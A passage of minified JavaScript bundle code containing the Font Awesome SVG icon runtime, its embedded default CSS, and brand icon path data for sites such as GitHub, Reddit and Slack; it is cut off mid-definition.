I=st.iconName,L=st.title,T=st.titleId,ue=st.prefix,gt=st.transform,Ot=st.symbol,Jt=st.mask,Tt=st.maskId,t1=st.extra;return new at(function(O1,an){at.all([mn(I,ue),mn(Jt.iconName,Jt.prefix)]).then(function(W1){var Bn=E(W1,2),sn=Bn[1];O1([ye,Wt({icons:{main:Bn[0],mask:sn},prefix:ue,iconName:I,transform:gt,symbol:Ot,mask:sn,maskId:Tt,title:L,titleId:T,extra:t1,watchable:!0})])})})}(ye,st)}function o2(ye){var st=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;if(Ze){var I=q.documentElement.classList,L=function(O1){return I.add("".concat(re,"-").concat(O1))},T=function(O1){return I.remove("".concat(re,"-").concat(O1))},ue=Object.keys(b.autoFetchSvg?Be:ai),gt=[".".concat(P,":not([").concat(Ke,"])")].concat(ue.map(function(t1){return".".concat(t1,":not([").concat(Ke,"])")})).join(", ");if(0!==gt.length){var Ot=[];try{Ot=a1(ye.querySelectorAll(gt))}catch{}if(!(Ot.length>0))return;L("pending"),T("complete");var Jt=V1.begin("onTree"),Tt=Ot.reduce(function(t1,O1){try{var an=Ui(O1);an&&t1.push(an)}catch(W1){xt||W1 instanceof ei&&console.error(W1)}return t1},[]);return new at(function(t1,O1){at.all(Tt).then(function(an){u2(an,function(){L("active"),L("complete"),T("pending"),"function"==typeof st&&st(),Jt(),t1()})}).catch(function(){Jt(),O1()})})}}}function Li(ye){var st=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;Ui(ye).then(function(I){I&&u2([I],st)})}function ki(ye,st){var I="".concat(bt).concat(st.replace(":","-"));return new at(function(L,T){if(null!==ye.getAttribute(I))return L();var gt=a1(ye.children).filter(function(qn){return qn.getAttribute(dt)===st})[0],Ot=ee.getComputedStyle(ye,st),Jt=Ot.getPropertyValue("font-family").match(w),Tt=Ot.getPropertyValue("font-weight"),t1=Ot.getPropertyValue("content");if(gt&&!Jt)return ye.removeChild(gt),L();if(Jt&&"none"!==t1&&""!==t1){var O1=Ot.getPropertyValue("content"),an=~["Solid","Regular","Light","Duotone","Brands","Kit"].indexOf(Jt[2])?pe[Jt[2].toLowerCase()]:R[Tt],W1=In(3===O1.length?O1.substr(1,1):O1),Bn=Pn(an,W1),Dn=Bn;if(!Bn||gt&>.getAttribute(ze)===an&>.getAttribute(De)===Dn)L();else{ye.setAttribute(I,Dn),gt&&ye.removeChild(gt);var sn=function h2(){return{iconName:null,title:null,titleId:null,prefix:null,transform:ot,symbol:!1,mask:null,maskId:null,extra:{classes:[],styles:{},attributes:{}}}}(),Yn=sn.extra;Yn.attributes[dt]=st,mn(Bn,an).then(function(qn){var xi=Wt(f({},sn,{icons:{main:qn,mask:li()},prefix:an,iconName:Dn,extra:Yn,watchable:!0})),Wn=q.createElement("svg");":before"===st?ye.insertBefore(Wn,ye.firstChild):ye.appendChild(Wn),Wn.outerHTML=xi.map(function(Te){return Mn(Te)}).join("\\n"),ye.removeAttribute(I),L()}).catch(T)}}else L()})}function Ci(ye){return at.all([ki(ye,":before"),ki(ye,":after")])}function ti(ye){return!(ye.parentNode===document.head||~We.indexOf(ye.tagName.toUpperCase())||ye.getAttribute(dt)||ye.parentNode&&"svg"===ye.parentNode.tagName)}function Oi(ye){if(Ze)return new at(function(st,I){var L=a1(ye.querySelectorAll("*")).filter(ti).map(Ci),T=V1.begin("searchPseudoElements");(function Sn(){dn=!0})(),at.all(L).then(function(){T(),Ei(),st()}).catch(function(){T(),Ei(),I()})})}var Xi=\'svg:not(:root).svg-inline--fa {\\n overflow: visible;\\n}\\n\\n.svg-inline--fa {\\n display: inline-block;\\n font-size: inherit;\\n height: 1em;\\n overflow: visible;\\n vertical-align: -0.125em;\\n}\\n.svg-inline--fa.fa-lg {\\n vertical-align: -0.225em;\\n}\\n.svg-inline--fa.fa-w-1 {\\n width: 0.0625em;\\n}\\n.svg-inline--fa.fa-w-2 {\\n width: 0.125em;\\n}\\n.svg-inline--fa.fa-w-3 {\\n width: 0.1875em;\\n}\\n.svg-inline--fa.fa-w-4 {\\n width: 0.25em;\\n}\\n.svg-inline--fa.fa-w-5 {\\n width: 0.3125em;\\n}\\n.svg-inline--fa.fa-w-6 {\\n width: 0.375em;\\n}\\n.svg-inline--fa.fa-w-7 {\\n width: 0.4375em;\\n}\\n.svg-inline--fa.fa-w-8 {\\n width: 0.5em;\\n}\\n.svg-inline--fa.fa-w-9 {\\n width: 0.5625em;\\n}\\n.svg-inline--fa.fa-w-10 {\\n width: 0.625em;\\n}\\n.svg-inline--fa.fa-w-11 {\\n width: 0.6875em;\\n}\\n.svg-inline--fa.fa-w-12 {\\n width: 0.75em;\\n}\\n.svg-inline--fa.fa-w-13 {\\n width: 0.8125em;\\n}\\n.svg-inline--fa.fa-w-14 {\\n width: 0.875em;\\n}\\n.svg-inline--fa.fa-w-15 {\\n width: 0.9375em;\\n}\\n.svg-inline--fa.fa-w-16 {\\n width: 1em;\\n}\\n.svg-inline--fa.fa-w-17 {\\n width: 1.0625em;\\n}\\n.svg-inline--fa.fa-w-18 {\\n width: 1.125em;\\n}\\n.svg-inline--fa.fa-w-19 {\\n width: 1.1875em;\\n}\\n.svg-inline--fa.fa-w-20 {\\n width: 1.25em;\\n}\\n.svg-inline--fa.fa-pull-left {\\n margin-right: 0.3em;\\n width: auto;\\n}\\n.svg-inline--fa.fa-pull-right {\\n margin-left: 0.3em;\\n width: auto;\\n}\\n.svg-inline--fa.fa-border {\\n height: 1.5em;\\n}\\n.svg-inline--fa.fa-li {\\n width: 2em;\\n}\\n.svg-inline--fa.fa-fw {\\n width: 1.25em;\\n}\\n\\n.fa-layers svg.svg-inline--fa {\\n bottom: 0;\\n left: 0;\\n margin: auto;\\n position: absolute;\\n right: 0;\\n top: 0;\\n}\\n\\n.fa-layers {\\n display: inline-block;\\n height: 1em;\\n position: relative;\\n text-align: center;\\n vertical-align: -0.125em;\\n width: 1em;\\n}\\n.fa-layers svg.svg-inline--fa {\\n -webkit-transform-origin: center center;\\n transform-origin: center center;\\n}\\n\\n.fa-layers-counter, .fa-layers-text {\\n display: inline-block;\\n position: absolute;\\n text-align: center;\\n}\\n\\n.fa-layers-text {\\n left: 50%;\\n top: 50%;\\n -webkit-transform: translate(-50%, -50%);\\n transform: translate(-50%, -50%);\\n -webkit-transform-origin: center center;\\n transform-origin: center center;\\n}\\n\\n.fa-layers-counter {\\n background-color: #ff253a;\\n border-radius: 1em;\\n -webkit-box-sizing: border-box;\\n box-sizing: border-box;\\n color: #fff;\\n height: 1.5em;\\n line-height: 1;\\n max-width: 5em;\\n min-width: 1.5em;\\n overflow: hidden;\\n padding: 0.25em;\\n right: 0;\\n text-overflow: ellipsis;\\n top: 0;\\n -webkit-transform: scale(0.25);\\n transform: scale(0.25);\\n -webkit-transform-origin: top right;\\n transform-origin: top right;\\n}\\n\\n.fa-layers-bottom-right {\\n bottom: 0;\\n right: 0;\\n top: auto;\\n -webkit-transform: scale(0.25);\\n transform: scale(0.25);\\n -webkit-transform-origin: bottom right;\\n transform-origin: bottom right;\\n}\\n\\n.fa-layers-bottom-left {\\n bottom: 0;\\n left: 0;\\n right: auto;\\n top: auto;\\n -webkit-transform: scale(0.25);\\n transform: scale(0.25);\\n -webkit-transform-origin: bottom left;\\n transform-origin: bottom left;\\n}\\n\\n.fa-layers-top-right {\\n right: 0;\\n top: 0;\\n -webkit-transform: scale(0.25);\\n transform: scale(0.25);\\n -webkit-transform-origin: top right;\\n transform-origin: top right;\\n}\\n\\n.fa-layers-top-left {\\n left: 0;\\n right: auto;\\n top: 0;\\n -webkit-transform: scale(0.25);\\n transform: scale(0.25);\\n -webkit-transform-origin: top left;\\n transform-origin: top left;\\n}\\n\\n.fa-lg {\\n font-size: 1.3333333333em;\\n line-height: 0.75em;\\n vertical-align: -0.0667em;\\n}\\n\\n.fa-xs {\\n font-size: 0.75em;\\n}\\n\\n.fa-sm {\\n font-size: 0.875em;\\n}\\n\\n.fa-1x {\\n font-size: 1em;\\n}\\n\\n.fa-2x {\\n font-size: 2em;\\n}\\n\\n.fa-3x {\\n font-size: 3em;\\n}\\n\\n.fa-4x {\\n font-size: 4em;\\n}\\n\\n.fa-5x {\\n font-size: 5em;\\n}\\n\\n.fa-6x {\\n font-size: 6em;\\n}\\n\\n.fa-7x {\\n font-size: 7em;\\n}\\n\\n.fa-8x {\\n font-size: 8em;\\n}\\n\\n.fa-9x {\\n font-size: 9em;\\n}\\n\\n.fa-10x {\\n font-size: 10em;\\n}\\n\\n.fa-fw {\\n text-align: center;\\n width: 1.25em;\\n}\\n\\n.fa-ul {\\n list-style-type: none;\\n margin-left: 2.5em;\\n padding-left: 0;\\n}\\n.fa-ul > li {\\n position: relative;\\n}\\n\\n.fa-li {\\n left: -2em;\\n position: absolute;\\n text-align: center;\\n width: 2em;\\n line-height: inherit;\\n}\\n\\n.fa-border {\\n border: solid 0.08em #eee;\\n border-radius: 0.1em;\\n padding: 0.2em 0.25em 0.15em;\\n}\\n\\n.fa-pull-left {\\n float: left;\\n}\\n\\n.fa-pull-right {\\n float: right;\\n}\\n\\n.fa.fa-pull-left,\\n.fas.fa-pull-left,\\n.far.fa-pull-left,\\n.fal.fa-pull-left,\\n.fab.fa-pull-left {\\n margin-right: 0.3em;\\n}\\n.fa.fa-pull-right,\\n.fas.fa-pull-right,\\n.far.fa-pull-right,\\n.fal.fa-pull-right,\\n.fab.fa-pull-right {\\n margin-left: 0.3em;\\n}\\n\\n.fa-spin {\\n -webkit-animation: fa-spin 2s infinite linear;\\n animation: fa-spin 2s infinite linear;\\n}\\n\\n.fa-pulse {\\n -webkit-animation: fa-spin 1s infinite steps(8);\\n animation: fa-spin 1s infinite steps(8);\\n}\\n\\n@-webkit-keyframes fa-spin {\\n 0% {\\n -webkit-transform: rotate(0deg);\\n transform: rotate(0deg);\\n }\\n 100% {\\n -webkit-transform: rotate(360deg);\\n transform: rotate(360deg);\\n }\\n}\\n\\n@keyframes fa-spin {\\n 0% {\\n -webkit-transform: rotate(0deg);\\n transform: rotate(0deg);\\n }\\n 100% {\\n -webkit-transform: rotate(360deg);\\n transform: rotate(360deg);\\n }\\n}\\n.fa-rotate-90 {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";\\n -webkit-transform: rotate(90deg);\\n transform: rotate(90deg);\\n}\\n\\n.fa-rotate-180 {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";\\n -webkit-transform: rotate(180deg);\\n transform: rotate(180deg);\\n}\\n\\n.fa-rotate-270 {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";\\n -webkit-transform: rotate(270deg);\\n transform: rotate(270deg);\\n}\\n\\n.fa-flip-horizontal {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";\\n -webkit-transform: scale(-1, 1);\\n transform: scale(-1, 1);\\n}\\n\\n.fa-flip-vertical {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";\\n -webkit-transform: scale(1, -1);\\n transform: scale(1, -1);\\n}\\n\\n.fa-flip-both, .fa-flip-horizontal.fa-flip-vertical {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";\\n -webkit-transform: scale(-1, -1);\\n transform: scale(-1, -1);\\n}\\n\\n:root .fa-rotate-90,\\n:root .fa-rotate-180,\\n:root .fa-rotate-270,\\n:root .fa-flip-horizontal,\\n:root .fa-flip-vertical,\\n:root .fa-flip-both {\\n -webkit-filter: none;\\n filter: none;\\n}\\n\\n.fa-stack {\\n display: inline-block;\\n height: 2em;\\n position: relative;\\n width: 2.5em;\\n}\\n\\n.fa-stack-1x,\\n.fa-stack-2x {\\n bottom: 0;\\n left: 0;\\n margin: auto;\\n position: absolute;\\n right: 0;\\n top: 0;\\n}\\n\\n.svg-inline--fa.fa-stack-1x {\\n height: 1em;\\n width: 1.25em;\\n}\\n.svg-inline--fa.fa-stack-2x {\\n height: 2em;\\n width: 2.5em;\\n}\\n\\n.fa-inverse {\\n color: #fff;\\n}\\n\\n.sr-only {\\n border: 0;\\n clip: rect(0, 0, 0, 0);\\n height: 1px;\\n margin: -1px;\\n overflow: hidden;\\n padding: 0;\\n position: absolute;\\n width: 1px;\\n}\\n\\n.sr-only-focusable:active, .sr-only-focusable:focus {\\n clip: auto;\\n height: auto;\\n margin: 0;\\n overflow: visible;\\n position: static;\\n width: auto;\\n}\\n\\n.svg-inline--fa .fa-primary {\\n fill: var(--fa-primary-color, currentColor);\\n opacity: 1;\\n opacity: var(--fa-primary-opacity, 1);\\n}\\n\\n.svg-inline--fa .fa-secondary {\\n fill: var(--fa-secondary-color, currentColor);\\n opacity: 0.4;\\n opacity: var(--fa-secondary-opacity, 0.4);\\n}\\n\\n.svg-inline--fa.fa-swap-opacity .fa-primary {\\n opacity: 0.4;\\n opacity: var(--fa-secondary-opacity, 0.4);\\n}\\n\\n.svg-inline--fa.fa-swap-opacity .fa-secondary {\\n opacity: 1;\\n opacity: var(--fa-primary-opacity, 1);\\n}\\n\\n.svg-inline--fa mask .fa-primary,\\n.svg-inline--fa mask .fa-secondary {\\n fill: black;\\n}\\n\\n.fad.fa-inverse {\\n color: #fff;\\n}\';function bn(){var ye=Ye,st=qe,I=b.familyPrefix,L=b.replacementClass,T=Xi;if(I!==ye||L!==st){var ue=new RegExp("\\\\.".concat(ye,"\\\\-"),"g"),gt=new RegExp("\\\\--".concat(ye,"\\\\-"),"g"),Ot=new RegExp("\\\\.".concat(st),"g");T=T.replace(ue,".".concat(I,"-")).replace(gt,"--".concat(I,"-")).replace(Ot,".".concat(L))}return T}function un(){b.autoAddCss&&!pi&&(ut(bn()),pi=!0)}function en(ye,st){return Object.defineProperty(ye,"abstract",{get:st}),Object.defineProperty(ye,"html",{get:function(){return ye.abstract.map(function(L){return Mn(L)})}}),Object.defineProperty(ye,"node",{get:function(){if(Ze){var L=q.createElement("div");return L.innerHTML=ye.html,L.children}}}),ye}function Mi(ye){var st=ye.prefix,I=void 0===st?"fa":st,L=ye.iconName;if(L)return Cn(_n.definitions,I,L)||Cn(ie.styles,I,L)}var _n=new(function(){function ye(){(function a(ye,st){if(!(ye instanceof st))throw new TypeError("Cannot call a class as a function")})(this,ye),this.definitions={}}return function u(ye,st,I){st&&s(ye.prototype,st),I&&s(ye,I)}(ye,[{key:"add",value:function(){for(var I=this,L=arguments.length,T=new Array(L),ue=0;ue<L;ue++)T[ue]=arguments[ue];var gt=T.reduce(this._pullDefinitions,{});Object.keys(gt).forEach(function(Ot){I.definitions[Ot]=f({},I.definitions[Ot]||{},gt[Ot]),Gn(Ot,gt[Ot]),X1()})}},{key:"reset",value:function(){this.definitions={}}},{key:"_pullDefinitions",value:function(I,L){var T=L.prefix&&L.iconName&&L.icon?{0:L}:L;return Object.keys(T).map(function(ue){var gt=T[ue],Ot=gt.prefix,Jt=gt.iconName,Tt=gt.icon;I[Ot]||(I[Ot]={}),I[Ot][Jt]=Tt}),I}}]),ye}()),pi=!1,si={i2svg:function(){var st=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};if(Ze){un();var I=st.node,L=void 0===I?q:I,T=st.callback,ue=void 0===T?function(){}:T;return b.searchPseudoElements&&Oi(L),o2(L,ue)}return at.reject("Operation requires a DOM of some kind.")},css:bn,insertCss:function(){pi||(ut(bn()),pi=!0)},watch:function(){var st=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},I=st.autoReplaceSvgRoot,L=st.observeMutationsRoot;!1===b.autoReplaceSvg&&(b.autoReplaceSvg=!0),b.observeMutations=!0,function Vt(ye){Ze&&(wt?setTimeout(ye,0):Xe.push(ye))}(function(){c2({autoReplaceSvgRoot:I}),function ui(ye){if(we&&b.observeMutations){var st=ye.treeCallback,I=ye.nodeCallback,L=ye.pseudoElementsCallback,T=ye.observeMutationsRoot,ue=void 0===T?q:T;Hn=new we(function(gt){dn||a1(gt).forEach(function(Ot){if("childList"===Ot.type&&Ot.addedNodes.length>0&&!ri(Ot.addedNodes[0])&&(b.searchPseudoElements&&L(Ot.target),st(Ot.target)),"attributes"===Ot.type&&Ot.target.parentNode&&b.searchPseudoElements&&L(Ot.target.parentNode),"attributes"===Ot.type&&ri(Ot.target)&&~ct.indexOf(Ot.attributeName))if("class"===Ot.attributeName){var Jt=L1(_1(Ot.target)),Tt=Jt.prefix,t1=Jt.iconName;Tt&&Ot.target.setAttribute("data-prefix",Tt),t1&&Ot.target.setAttribute("data-icon",t1)}else I(Ot.target)})}),Ze&&Hn.observe(ue,{childList:!0,attributes:!0,characterData:!0,subtree:!0})}}({treeCallback:o2,nodeCallback:Li,pseudoElementsCallback:Oi,observeMutationsRoot:L})})}},Vn={transform:function(st){return zi(st)}},v2=function m2(ye){return function(st){var I=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},L=(st||{}).icon?st:Mi(st||{}),T=I.mask;return T&&(T=(T||{}).icon?T:Mi(T||{})),ye(L,f({},I,{mask:T}))}}(function(ye){var st=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},I=st.transform,L=void 0===I?ot:I,T=st.symbol,ue=void 0!==T&&T,gt=st.mask,Ot=void 0===gt?null:gt,Jt=st.maskId,Tt=void 0===Jt?null:Jt,t1=st.title,O1=void 0===t1?null:t1,an=st.titleId,W1=void 0===an?null:an,Bn=st.classes,Dn=void 0===Bn?[]:Bn,sn=st.attributes,Yn=void 0===sn?{}:sn,qn=st.styles,xi=void 0===qn?{}:qn;if(ye){var Wn=ye.prefix,Te=ye.iconName,y=ye.icon;return en(f({type:"icon"},ye),function(){return un(),b.autoA11y&&(O1?Yn["aria-labelledby"]="".concat(b.replacementClass,"-title-").concat(W1||Zt()):(Yn["aria-hidden"]="true",Yn.focusable="false")),Wt({icons:{main:bi(y),mask:Ot?bi(Ot.icon):{found:!1,width:null,height:null,icon:{}}},prefix:Wn,iconName:Te,transform:f({},ot,L),symbol:ue,title:O1,maskId:Tt,titleId:W1,extra:{attributes:Yn,styles:xi,classes:Dn}})})}}),w2={noAuto:function(){b.autoReplaceSvg=!1,b.observeMutations=!1,function pn(){Hn&&Hn.disconnect()}()},config:b,dom:si,library:_n,parse:Vn,findIconDefinition:Mi,icon:v2,text:function(st){var I=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},L=I.transform,T=void 0===L?ot:L,ue=I.title,gt=void 0===ue?null:ue,Ot=I.classes,Jt=void 0===Ot?[]:Ot,Tt=I.attributes,t1=void 0===Tt?{}:Tt,O1=I.styles,an=void 0===O1?{}:O1;return en({type:"text",content:st},function(){return un(),p1({content:st,transform:f({},ot,T),title:gt,extra:{attributes:t1,styles:an,classes:["".concat(b.familyPrefix,"-layers-text")].concat(_(Jt))}})})},counter:function(st){var I=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},L=I.title,T=void 0===L?null:L,ue=I.classes,gt=void 0===ue?[]:ue,Ot=I.attributes,Jt=void 0===Ot?{}:Ot,Tt=I.styles,t1=void 0===Tt?{}:Tt;return en({type:"counter",content:st},function(){return un(),function w1(ye){var st=ye.content,I=ye.title,L=ye.extra,T=f({},L.attributes,I?{title:I}:{},{class:L.classes.join(" ")}),ue=P1(L.styles);ue.length>0&&(T.style=ue);var gt=[];return gt.push({tag:"span",attributes:T,children:[st]}),I&>.push({tag:"span",attributes:{class:"sr-only"},children:[I]}),gt}({content:st.toString(),title:T,extra:{attributes:Jt,styles:t1,classes:["".concat(b.familyPrefix,"-layers-counter")].concat(_(gt))}})})},layer:function(st){var L=(arguments.length>1&&void 0!==arguments[1]?arguments[1]:{}).classes,T=void 0===L?[]:L;return en({type:"layer"},function(){un();var ue=[];return st(function(gt){Array.isArray(gt)?gt.map(function(Ot){ue=ue.concat(Ot.abstract)}):ue=ue.concat(gt.abstract)}),[{tag:"span",attributes:{class:["".concat(b.familyPrefix,"-layers")].concat(_(T)).join(" ")},children:ue}]})},toHtml:Mn},c2=function(){var I=(arguments.length>0&&void 0!==arguments[0]?arguments[0]:{}).autoReplaceSvgRoot,L=void 0===I?q:I;(Object.keys(ie.styles).length>0||b.autoFetchSvg)&&Ze&&b.autoReplaceSvg&&w2.dom.i2svg({node:L})}},5767:(At,ae,d)=>{"use strict";d.d(ae,{HK3:()=>ia,IxA:()=>De,SrY:()=>d1,To0:()=>En,g7i:()=>R,hV2:()=>Li,mdU:()=>fa,neY:()=>li,ts2:()=>ir,uy2:()=>Ta,xYR:()=>bn,zhw:()=>ai});var De={prefix:"fab",iconName:"bitcoin",icon:[512,512,[],"f379","M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-141.651-35.33c4.937-32.999-20.191-50.739-54.55-62.573l11.146-44.702-27.213-6.781-10.851 43.524c-7.154-1.783-14.502-3.464-21.803-5.13l10.929-43.81-27.198-6.781-11.153 44.686c-5.922-1.349-11.735-2.682-17.377-4.084l.031-.14-37.53-9.37-7.239 29.062s20.191 4.627 19.765 4.913c11.022 2.751 13.014 10.044 12.68 15.825l-12.696 50.925c.76.194 1.744.473 2.829.907-.907-.225-1.876-.473-2.876-.713l-17.796 71.338c-1.349 3.348-4.767 8.37-12.471 6.464.271.395-19.78-4.937-19.78-4.937l-13.51 31.147 35.414 8.827c6.588 1.651 13.045 3.379 19.4 5.006l-11.262 45.213 27.182 6.781 11.153-44.733a1038.209 1038.209 0 0 0 21.687 5.627l-11.115 44.523 27.213 6.781 11.262-45.128c46.404 8.781 81.299 5.239 95.986-36.727 11.836-33.79-.589-53.281-25.004-65.991 17.78-4.098 31.174-15.792 34.747-39.949zm-62.177 87.179c-8.41 33.79-65.308 15.523-83.755 10.943l14.944-59.899c18.446 4.603 77.6 13.717 68.811 48.956zm8.417-87.667c-7.673 30.736-55.031 15.12-70.393 11.292l13.548-54.327c15.363 3.828 64.836 10.973 56.845 43.035z"]},R={prefix:"fab",iconName:"btc",icon:[384,512,[],"f15a","M310.204 242.638c27.73-14.18 45.377-39.39 41.28-81.3-5.358-57.351-52.458-76.573-114.85-81.929V0h-48.528v77.203c-12.605 0-25.525.315-38.444.63V0h-48.528v79.409c-17.842.539-38.622.276-97.37 0v51.678c38.314-.678 58.417-3.14 63.023 21.427v217.429c-2.925 19.492-18.524 16.685-53.255 16.071L3.765 443.68c88.481 0 97.37.315 97.37.315V512h48.528v-67.06c13.234.315 26.154.315 38.444.315V512h48.528v-68.005c81.299-4.412 135.647-24.894 142.895-101.467 5.671-61.446-23.32-88.862-69.326-99.89zM150.608 134.553c27.415 0 113.126-8.507 113.126 48.528 0 54.515-85.71 48.212-113.126 48.212v-96.74zm0 251.776V279.821c32.772 0 133.127-9.138 133.127 53.255-.001 60.186-100.355 53.253-133.127 53.253z"]},li={prefix:"fab",iconName:"facebook",icon:[512,512,[],"f09a","M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z"]},ai={prefix:"fab",iconName:"github",icon:[496,512,[],"f09b","M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"]},Li={prefix:"fab",iconName:"gitter",icon:[384,512,[],"f426","M66.4 322.5H16V0h50.4v322.5zM166.9 76.1h-50.4V512h50.4V76.1zm100.6 0h-50.4V512h50.4V76.1zM368 76h-50.4v247H368V76z"]},bn={prefix:"fab",iconName:"google",icon:[488,512,[],"f1a0","M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z"]},En={prefix:"fab",iconName:"leanpub",icon:[576,512,[],"f212","M386.539 111.485l15.096 248.955-10.979-.275c-36.232-.824-71.64 8.783-102.657 27.997-31.016-19.214-66.424-27.997-102.657-27.997-45.564 0-82.07 10.705-123.516 27.723L93.117 129.6c28.546-11.803 61.484-18.115 92.226-18.115 41.173 0 73.836 13.175 102.657 42.544 27.723-28.271 59.013-41.721 98.539-42.544zM569.07 448c-25.526 0-47.485-5.215-70.542-15.645-34.31-15.645-69.993-24.978-107.871-24.978-38.977 0-74.934 12.901-102.657 40.623-27.723-27.723-63.68-40.623-102.657-40.623-37.878 0-73.561 9.333-107.871 24.978C55.239 442.236 32.731 448 8.303 448H6.93L49.475 98.859C88.726 76.626 136.486 64 181.775 64 218.83 64 256.984 71.685 288 93.095 319.016 71.685 357.17 64 394.225 64c45.289 0 93.049 12.626 132.3 34.859L569.07 448zm-43.368-44.741l-34.036-280.246c-30.742-13.999-67.248-21.41-101.009-21.41-38.428 0-74.385 12.077-102.657 38.702-28.272-26.625-64.228-38.702-102.657-38.702-33.761 0-70.267 7.411-101.009 21.41L50.298 403.259c47.211-19.487 82.894-33.486 135.045-33.486 37.604 0 70.817 9.606 102.657 29.644 31.84-20.038 65.052-29.644 102.657-29.644 52.151 0 87.834 13.999 135.045 33.486z"]},ia={prefix:"fab",iconName:"reddit",icon:[512,512,[],"f1a1","M201.5 305.5c-13.8 0-24.9-11.1-24.9-24.6 0-13.8 11.1-24.9 24.9-24.9 13.6 0 24.6 11.1 24.6 24.9 0 13.6-11.1 24.6-24.6 24.6zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-132.3-41.2c-9.4 0-17.7 3.9-23.8 10-22.4-15.5-52.6-25.5-86.1-26.6l17.4-78.3 55.4 12.5c0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.3 24.9-24.9s-11.1-24.9-24.9-24.9c-9.7 0-18 5.8-22.1 13.8l-61.2-13.6c-3-.8-6.1 1.4-6.9 4.4l-19.1 86.4c-33.2 1.4-63.1 11.3-85.5 26.8-6.1-6.4-14.7-10.2-24.1-10.2-34.9 0-46.3 46.9-14.4 62.8-1.1 5-1.7 10.2-1.7 15.5 0 52.6 59.2 95.2 132 95.2 73.1 0 132.3-42.6 132.3-95.2 0-5.3-.6-10.8-1.9-15.8 31.3-16 19.8-62.5-14.9-62.5zM302.8 331c-18.2 18.2-76.1 17.9-93.6 0-2.2-2.2-6.1-2.2-8.3 0-2.5 2.5-2.5 6.4 0 8.6 22.8 22.8 87.3 22.8 110.2 0 2.5-2.2 2.5-6.1 0-8.6-2.2-2.2-6.1-2.2-8.3 0zm7.7-75c-13.6 0-24.6 11.1-24.6 24.9 0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.1 24.9-24.6 0-13.8-11-24.9-24.9-24.9z"]},d1={prefix:"fab",iconName:"slack",icon:[448,512,[],"f198","M94.12 315.1c0 25.9-21.16 47.06-47.06 47.06S0 341 0 315.1c0-25.9 21.16-47.06 47.06-47.06h47.06v47.06zm23.72 0c0-25.9 21.16-47.06 47.06-47.06s47.06 21.16 47.06 47.06v117.84c0 25.9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98c-25.9 0-47.06-21.16-47.06-47.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72c25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 